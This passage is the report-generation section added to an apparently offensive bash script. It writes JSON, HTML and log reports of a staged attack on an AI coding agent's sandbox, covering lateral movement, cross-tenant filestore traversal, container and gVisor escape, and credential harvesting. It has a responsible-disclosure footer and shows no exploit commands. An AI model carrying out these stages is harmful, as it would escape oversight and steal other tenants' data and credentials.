|
+
"full_results": $(echo -e "$GVISOR_ESCAPE_RESULTS" | python3 -c "import sys,json; print(json.dumps(sys.stdin.read()))" 2>/dev/null || echo '""')
|
|
1740
|
+
}
|
|
1741
|
+
}
|
|
1742
|
+
EOF
|
|
1743
|
+
|
|
1744
|
+
# HTML Report
|
|
1745
|
+
cat > "$HTML_REPORT" << 'HTMLHEADER'
|
|
1746
|
+
<!DOCTYPE html>
|
|
1747
|
+
<html lang="en">
|
|
1748
|
+
<head>
|
|
1749
|
+
<meta charset="UTF-8">
|
|
1750
|
+
<title>Post-Exploitation Report</title>
|
|
1751
|
+
<style>
|
|
1752
|
+
:root { --bg: #0d1117; --card: #161b22; --border: #30363d; --text: #c9d1d9; --blue: #58a6ff; --red: #f85149; --green: #3fb950; --orange: #d29922; --purple: #a371f7; }
|
|
1753
|
+
* { box-sizing: border-box; margin: 0; padding: 0; }
|
|
1754
|
+
body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', sans-serif; background: var(--bg); color: var(--text); padding: 2rem; line-height: 1.6; }
|
|
1755
|
+
.container { max-width: 1200px; margin: 0 auto; }
|
|
1756
|
+
.header { text-align: center; padding: 2rem; background: linear-gradient(135deg, #f8514920, #a371f720); border: 2px solid var(--purple); border-radius: 12px; margin-bottom: 2rem; }
|
|
1757
|
+
.header h1 { color: var(--purple); }
|
|
1758
|
+
.badge { display: inline-block; background: var(--red); color: white; padding: 0.5rem 1rem; border-radius: 20px; font-weight: bold; margin: 1rem 0; }
|
|
1759
|
+
.card { background: var(--card); border: 1px solid var(--border); border-radius: 8px; padding: 1.5rem; margin-bottom: 1.5rem; }
|
|
1760
|
+
.card h2 { color: var(--blue); border-bottom: 1px solid var(--border); padding-bottom: 0.5rem; margin-bottom: 1rem; }
|
|
1761
|
+
.critical { border-left: 4px solid var(--red); }
|
|
1762
|
+
.warning { border-left: 4px solid var(--orange); }
|
|
1763
|
+
.success { border-left: 4px solid var(--green); }
|
|
1764
|
+
.info { border-left: 4px solid var(--blue); }
|
|
1765
|
+
pre { background: #0d1117; border: 1px solid var(--border); border-radius: 6px; padding: 1rem; overflow-x: auto; font-size: 0.85rem; white-space: pre-wrap; word-wrap: break-word; }
|
|
1766
|
+
code { background: #0d1117; padding: 0.2rem 0.4rem; border-radius: 4px; }
|
|
1767
|
+
table { width: 100%; border-collapse: collapse; }
|
|
1768
|
+
th, td { padding: 0.75rem; text-align: left; border-bottom: 1px solid var(--border); }
|
|
1769
|
+
th { color: var(--blue); }
|
|
1770
|
+
.vuln { color: var(--red); font-weight: bold; }
|
|
1771
|
+
.safe { color: var(--green); }
|
|
1772
|
+
.footer { text-align: center; padding: 2rem; color: #8b949e; border-top: 1px solid var(--border); margin-top: 2rem; }
|
|
1773
|
+
</style>
|
|
1774
|
+
</head>
|
|
1775
|
+
<body>
|
|
1776
|
+
<div class="container">
|
|
1777
|
+
<div class="header">
|
|
1778
|
+
<h1>⚔️ Post-Exploitation Report</h1>
|
|
1779
|
+
<p>Claude Code Sandbox - Lateral Movement & Escape Analysis</p>
|
|
1780
|
+
<div class="badge">ATTACK SIMULATION</div>
|
|
1781
|
+
HTMLHEADER
|
|
1782
|
+
|
|
1783
|
+
cat >> "$HTML_REPORT" << EOF
|
|
1784
|
+
<p style="color: #8b949e; margin-top: 1rem;">Generated: $(date '+%Y-%m-%d %H:%M:%S UTC')</p>
|
|
1785
|
+
<p style="color: #8b949e;">Our IP: $OUR_IP | Org: $ORG_UUID</p>
|
|
1786
|
+
</div>
|
|
1787
|
+
|
|
1788
|
+
<div class="card critical">
|
|
1789
|
+
<h2>🎯 Stage 2: Lateral Movement - Other Containers</h2>
|
|
1790
|
+
<h3>Containers with process_api (port 2024):</h3>
|
|
1791
|
+
<pre>$(echo -e "$OTHER_CONTAINERS")</pre>
|
|
1792
|
+
<h3 style="margin-top: 1rem;">WebSocket-Vulnerable Targets:</h3>
|
|
1793
|
+
<pre>$(echo -e "$VULNERABLE_TARGETS")</pre>
|
|
1794
|
+
<h3 style="margin-top: 1rem;">Other Proxies Found (port 15004):</h3>
|
|
1795
|
+
<pre>$(echo -e "$OTHER_PROXIES")</pre>
|
|
1796
|
+
</div>
|
|
1797
|
+
|
|
1798
|
+
<div class="card warning">
|
|
1799
|
+
<h2>🔀 Stage 3: Lateral Movement Results</h2>
|
|
1800
|
+
<pre>$(echo -e "$LATERAL_RESULTS")</pre>
|
|
1801
|
+
</div>
|
|
1802
|
+
|
|
1803
|
+
<div class="card critical">
|
|
1804
|
+
<h2>🗄️ Stage 4: Filestore Cross-Tenant Exploitation</h2>
|
|
1805
|
+
<p><strong>Filesystem ID:</strong> <code>$FILESYSTEM_ID</code></p>
|
|
1806
|
+
<h3 style="margin-top: 1rem;">Path Traversal Results:</h3>
|
|
1807
|
+
<pre>$(echo -e "$FILESTORE_EXPLOIT")</pre>
|
|
1808
|
+
</div>
|
|
1809
|
+
|
|
1810
|
+
<div class="card critical">
|
|
1811
|
+
<h2>🚀 Stage 5: Container Escape Attempts</h2>
|
|
1812
|
+
<table>
|
|
1813
|
+
<tr><th>Check</th><th>Result</th></tr>
|
|
1814
|
+
<tr><td>Privileged Mode Indicators</td><td class="$([ -n "$PRIVILEGED_CHECK" ] && echo "vuln" || echo "safe")">$([ -n "$PRIVILEGED_CHECK" ] && echo "$PRIVILEGED_CHECK" || echo "Not privileged")</td></tr>
|
|
1815
|
+
<tr><td>Container Runtime Sockets</td><td class="$([ -n "$RUNTIME_SOCKETS" ] && echo "vuln" || echo "safe")">$([ -n "$RUNTIME_SOCKETS" ] && echo "FOUND!" || echo "Not found")</td></tr>
|
|
1816
|
+
<tr><td>Host Mount Points</td><td class="$([ -n "$HOST_MOUNTS" ] && echo "vuln" || echo "safe")">$([ -n "$HOST_MOUNTS" ] && echo "FOUND!" || echo "Not found")</td></tr>
|
|
1817
|
+
<tr><td>Cgroup Escape</td><td class="$([ -n "$CGROUP_ESCAPE" ] && echo "vuln" || echo "safe")">$([ -n "$CGROUP_ESCAPE" ] && echo "$CGROUP_ESCAPE" || echo "Not vulnerable")</td></tr>
|
|
1818
|
+
</table>
|
|
1819
|
+
<h3 style="margin-top: 1rem;">Capabilities:</h3>
|
|
1820
|
+
<pre>$CAPS
|
|
1821
|
+
|
|
1822
|
+
Decoded: $CAP_DECODE</pre>
|
|
1823
|
+
<h3 style="margin-top: 1rem;">Runtime Sockets Detail:</h3>
|
|
1824
|
+
<pre>$(echo -e "$RUNTIME_SOCKETS")</pre>
|
|
1825
|
+
<h3 style="margin-top: 1rem;">Host Mounts Detail:</h3>
|
|
1826
|
+
<pre>$(echo -e "$HOST_MOUNTS")</pre>
|
|
1827
|
+
<h3 style="margin-top: 1rem; color: var(--red);">🔥 Cgroup Escape Attempt:</h3>
|
|
1828
|
+
<pre>$CGROUP_ESCAPE_RESULT</pre>
|
|
1829
|
+
</div>
|
|
1830
|
+
|
|
1831
|
+
<div class="card critical">
|
|
1832
|
+
<h2>⚡ Stage 5B: CAP_SYS_ADMIN Exploitation</h2>
|
|
1833
|
+
<pre>$(echo -e "$SYSADMIN_EXPLOITS")</pre>
|
|
1834
|
+
</div>
|
|
1835
|
+
|
|
1836
|
+
<div class="card critical">
|
|
1837
|
+
<h2>🔑 Stage 5C: Credential Harvesting</h2>
|
|
1838
|
+
<pre style="max-height: 600px; overflow-y: auto;">$(echo -e "$CRED_HARVEST")</pre>
|
|
1839
|
+
</div>
|
|
1840
|
+
|
|
1841
|
+
<div class="card warning">
|
|
1842
|
+
<h2>🌐 Stage 6: Internal API Exploitation</h2>
|
|
1843
|
+
<pre>$(echo -e "$INTERNAL_API_RESULTS")</pre>
|
|
1844
|
+
</div>
|
|
1845
|
+
|
|
1846
|
+
<div class="card critical">
|
|
1847
|
+
<h2>⚡ Stage 7: process_api WebSocket Exploitation</h2>
|
|
1848
|
+
<pre>$PROCESS_API_EXPLOIT</pre>
|
|
1849
|
+
</div>
|
|
1850
|
+
|
|
1851
|
+
<div class="card critical">
|
|
1852
|
+
<h2>🎯 Stage 8: gVisor Escape Attempts (Data Extraction)</h2>
|
|
1853
|
+
<p><em>Focus: FUSE escape, Ptrace data extraction, File permission bugs (CVE-2025-2713), User data theft</em></p>
|
|
1854
|
+
<pre>$(echo -e "$GVISOR_ESCAPE_RESULTS")</pre>
|
|
1855
|
+
</div>
|
|
1856
|
+
|
|
1857
|
+
<div class="card info">
|
|
1858
|
+
<h2>📋 Summary</h2>
|
|
1859
|
+
<table>
|
|
1860
|
+
<tr><th>Attack Vector</th><th>Status</th><th>Impact</th></tr>
|
|
1861
|
+
<tr><td>Other Containers Found</td><td>$(echo -e "$OTHER_CONTAINERS" | grep -c .)</td><td>Lateral movement targets</td></tr>
|
|
1862
|
+
<tr><td>Other Proxies Found</td><td>$(echo -e "$OTHER_PROXIES" | grep -c .)</td><td>Potential credential reuse</td></tr>
|
|
1863
|
+
<tr><td>Filestore Traversal</td><td>$([ -n "$FILESTORE_EXPLOIT" ] && echo "Responses received" || echo "No response")</td><td>Cross-tenant data access</td></tr>
|
|
1864
|
+
<tr><td>Container Escape</td><td>$([ -n "$PRIVILEGED_CHECK$RUNTIME_SOCKETS$HOST_MOUNTS" ] && echo "Vectors found!" || echo "Sandboxed")</td><td>Host compromise</td></tr>
|
|
1865
|
+
<tr><td>process_api Exploit</td><td>$([ -n "$PROCESS_API_EXPLOIT" ] && echo "Tested" || echo "Failed")</td><td>Privilege escalation</td></tr>
|
|
1866
|
+
<tr><td>gVisor Escape (FUSE/Ptrace)</td><td>$([ -n "$GVISOR_ESCAPE_RESULTS" ] && echo "Tested" || echo "Not run")</td><td>Container escape / Data extraction</td></tr>
|
|
1867
|
+
</table>
|
|
1868
|
+
</div>
|
|
1869
|
+
|
|
1870
|
+
<div class="footer">
|
|
1871
|
+
<p>Post-exploitation simulation complete</p>
|
|
1872
|
+
<p>For responsible disclosure: security@anthropic.com</p>
|
|
1873
|
+
</div>
|
|
1874
|
+
</div>
|
|
1875
|
+
</body>
|
|
1876
|
+
</html>
|
|
1877
|
+
EOF
|
|
1878
|
+
|
|
1879
|
+
# Raw Log
|
|
1880
|
+
{
|
|
1881
|
+
echo "═══════════════════════════════════════════════════════════════"
|
|
1882
|
+
echo " POST-EXPLOITATION LOG"
|
|
1883
|
+
echo " Generated: $(date)"
|
|
1884
|
+
echo " Our IP: $OUR_IP | Org: $ORG_UUID"
|
|
1885
|
+
echo "═══════════════════════════════════════════════════════════════"
|
|
1886
|
+
echo ""
|
|
1887
|
+
echo "=== STAGE 2: OTHER CONTAINERS (port 2024) ==="
|
|
1888
|
+
echo -e "$OTHER_CONTAINERS"
|
|
1889
|
+
echo ""
|
|
1890
|
+
echo "=== VULNERABLE WEBSOCKET TARGETS ==="
|
|
1891
|
+
echo -e "$VULNERABLE_TARGETS"
|
|
1892
|
+
echo ""
|
|
1893
|
+
echo "=== OTHER PROXIES (port 15004) ==="
|
|
1894
|
+
echo -e "$OTHER_PROXIES"
|
|
1895
|
+
echo ""
|
|
1896
|
+
echo "=== STAGE 3: LATERAL MOVEMENT RESULTS ==="
|
|
1897
|
+
echo -e "$LATERAL_RESULTS"
|
|
1898
|
+
echo ""
|
|
1899
|
+
echo "=== STAGE 4: FILESTORE TRAVERSAL ==="
|
|
1900
|
+
echo "Filesystem ID: $FILESYSTEM_ID"
|
|
1901
|
+
echo -e "$FILESTORE_EXPLOIT"
|
|
1902
|
+
echo ""
|
|
1903
|
+
echo "=== STAGE 5: CONTAINER ESCAPE ==="
|
|
1904
|
+
echo "Privileged: $PRIVILEGED_CHECK"
|
|
1905
|
+
echo "Runtime Sockets: $RUNTIME_SOCKETS"
|
|
1906
|
+
echo "Host Mounts: $HOST_MOUNTS"
|
|
1907
|
+
echo "Cgroup Escape: $CGROUP_ESCAPE"
|
|
1908
|
+
echo "Capabilities: $CAPS"
|
|
1909
|
+
echo "Decoded: $CAP_DECODE"
|
|
1910
|
+
echo ""
|
|
1911
|
+
echo "=== CGROUP ESCAPE ATTEMPT ==="
|
|
1912
|
+
echo "$CGROUP_ESCAPE_RESULT"
|
|
1913
|
+
echo ""
|
|
1914
|
+
echo "=== STAGE 5B: CAP_SYS_ADMIN EXPLOITATION ==="
|
|
1915
|
+
echo -e "$SYSADMIN_EXPLOITS"
|
|
1916
|
+
echo ""
|
|
1917
|
+
echo "=== STAGE 5C: CREDENTIAL HARVESTING ==="
|
|
1918
|
+
echo -e "$CRED_HARVEST"
|
|
1919
|
+
echo ""
|
|
1920
|
+
echo "=== STAGE 6: INTERNAL API ==="
|
|
1921
|
+
echo -e "$INTERNAL_API_RESULTS"
|
|
1922
|
+
echo ""
|
|
1923
|
+
echo "=== STAGE 7: PROCESS_API EXPLOIT ==="
|
|
1924
|
+
echo "$PROCESS_API_EXPLOIT"
|
|
1925
|
+
echo ""
|
|
1926
|
+
echo "=== STAGE 8: gVISOR ESCAPE ATTEMPTS (NO CRASH) ==="
|
|
1927
|
+
echo -e "$GVISOR_ESCAPE_RESULTS"
|
|
1928
|
+
} > "$RAW_LOG"
|